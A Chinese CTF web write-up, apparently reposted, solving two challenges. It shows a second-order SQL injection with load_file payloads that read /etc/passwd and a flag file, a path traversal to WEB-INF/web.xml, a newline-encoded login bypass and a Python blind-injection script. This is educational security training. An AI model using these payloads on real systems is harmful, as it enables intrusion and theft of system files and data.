暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CTF之Web题型学习

第59号 2021-12-20
3114

在CTF比赛中,Web题是最常见的题型,考点涉及到Web常见的漏洞如任意文件上传、SQL注入、文件包含等。其中SQL注入又是重中之重,根据题目的难度,往往会是多种漏洞组合而成的题型。接下来举几个以前CTF比赛中比较经典的几道Web题。

 

Comment(爆破+git泄漏+二次注入)



根据提示,首先通过爆破密码后3位,获得账号密码为zhangwei:zhangwei666

 

F12查看控制台

 


使用bugscanteam的githack工具,下载泄漏的源码,根据控制台的提示,完整源码还在历史的commit中。



git log –reflog 查看历史记录



查看最新的提交记录,恢复到该版本

git reset –hard [log hash]

git reset –hard e5b2a2443c2b6d395d06960123142bc91123148c



此时查看write_do.php源码



从源码中可以看出,涉及2个功能,一个发贴,一个回贴,在发帖时,若用户输入包含有预定义字符,预定义字符为单引号、双引号、反斜杠、NULL,若是,则会添加反斜杠。在回贴时,会取出第一次输入的category字段内容,与第二次输入的content做拼接。因此这里存在一个二次SQL注入的问题。

 

第一次发帖

在category字段输入 ',content=(select load_file('//etc/passwd')),/*



之后点详情,提交留言,留言内容为*/#


 

成功输出



根据passwd文件,可以看到用户目录为/home/www,查看该目录的命令执行记录为.bash_history



查看.DS_Store文件,这里需要hex编码显示

1', content=(selecthex(load_file('/tmp/html/.DS_Store'))),/*



解码得到



flag_8946e1ff1ee3e40f.php

 

继续读取该文件

1', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*


 

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

 

这个flag是个假的,这样从复制过去的/var/www/html再次读取

最终得到flag{0dd14aae81d94904b3492117e2a3d4df}


 

Zhuanxv(文件包含+万能密钥+盲注)



首先通过目录爆破,得到list目录

http://111.200.241.244:62187/list



查看源码



可能存在文件读取

http://111.200.241.244:62187/loadimage?fileName=../../WEB-INF/web.xml



可以看到为struts2框架,该框架主要的配置文件在WEB-INF/classes/struts.xml



根据struts.xml中的class,不断去读取相关class文件,通过jd-gui进行源码阅读

可以看到其在登录时的认证逻辑。



对输入的账号密码,进行去空格和等号处理



且flag位于flag数据库中



后台使用的hive数据库,和mysql的语法类似,由于去掉了空格,可以用换行符替换

构造万能密码


from User where name ='admin' or '1'>'0'or name like 'admin' and password = '" + password + "'

 

即用户名为admin%27%0Aor%0A%271%27%3E%270%27%0Aor%0Aname%0Alike%0A%27admin


密码随意


 

最后通过自动化脚本盲注出flag


#!/usr/bin/env python


import requests
s=requests.session()


flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://111.200.241.244:62187/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

 


得sctf{C46E250926A2DFFD831975396222B08E}





文章转载自第59号,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论